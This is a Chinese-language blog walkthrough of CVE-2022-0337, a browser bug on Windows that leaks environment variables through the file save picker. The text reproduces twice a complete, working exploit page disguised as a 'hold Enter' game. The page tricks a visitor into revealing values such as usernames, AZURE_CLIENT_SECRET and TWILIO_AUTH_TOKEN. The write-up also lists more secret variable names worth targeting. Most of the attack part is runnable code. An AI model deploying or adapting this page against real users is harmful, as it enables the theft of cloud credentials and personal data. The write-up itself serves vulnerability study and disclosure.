前言
前两天在刷tw，看到了个比较有意思的一个CVE漏洞，价值奖励是10000美🔪，比较好奇的是价值10000美🔪的漏洞是什么样子的[苦涩]，漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞，但由于 Windows 的文件保存默认为接受，通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。
影响版本
Google Chrome版本范围92.x-96.x
Microsoft Edge版本范围92.x-96.x
Opera版本范围78.x-81.x
复现
在存在漏洞的浏览器F12的控制台输入payload
let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;
但是必须要访问一个存在的html，百度首页测试
保存后控制台输出环境变量username的值
漏洞发现者为：Maciej Pulikowski，exp也是来自于作者，中间改了点样式，因为觉得有点不太美观！
EXP
<html>
<head>
<title>
CVE-2022-0337 System environment variables leak on Google Chrome,
Microsoft Edge and Opera
</title>
<meta charset="UTF-8" />
</head>
<style>
body {
background: rgba(212,0,0,0.2);
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
}
h1,
h2,
h3 {
-webkit-text-stroke: 1px #00000050;
}
h1 {
color: #d96c06;
font-size: 36px;
}
h2 {
color: #1ebe8e;
font-size: 46px;
}
h3 {
color: #c6f91f;
font-size: 18px;
}
h2 span {
color: #cf4848;
font-size: 70px;
}
#author {
font-size: 28px;
}
span {
font-weight: 100;
}
</style>
<body>
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
<!-- div used to click to open Save As dialog -->
<div id="pixel"></div>
<h3 id="userInfo"></h3>
<h1>Super Simple Game<span>😻😻😻</span></h1>
<h2><span>⌨️HOLD ENTER</span> for 2 seconds</h2>
<h3 id="gameover"></h3>
</body>
</html>
这里选择版本
92.0.4515.159（正式版本）
刷新页面后长按Enter键两秒即可触发payload
分析
分一下payload前面的49行之前内容是定义了html的样式，核心内容在
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
看标签的话定义为JavaScript语言，泄露的配置信息在69-84行定义
在63和64行定义了长按Enter键相当于触发script标签
随机数生成文件名后缀，随机数大小为0到991，fimename=随机数.f
suggestedName格式为定义的%{x}%@filename即
suggestedName=%{x}%@随机数.f
继续向下看
上述代码为触发事件操作，定义了所泄露的在environmentVariables中定义的属性，且调用属性suggestedName做打印。
所以最终在执行payload的时候保存的文件名为
%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f
那么接下来需要思考两个问题
-
泄露的漏洞触发的原理又在哪里
-
能做什么呢？
1.根据测试，漏洞在windwos易受攻击。Linux 和Mac 是安全的，因为在命名的时候使用了ENV环境变量，所以会触发，在 Windows 中，%ENV_VAR%可以使用 来引用环境变量，文件名称的命名时利用环境变量来命名的话，在调用文件的话会返回环境变量的值。
2.因为windows中能够利用环境变量有很多，例如
AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY
可参考
https://github.com/Puliczek/awesome-list-of-secrets-in-environment-variables
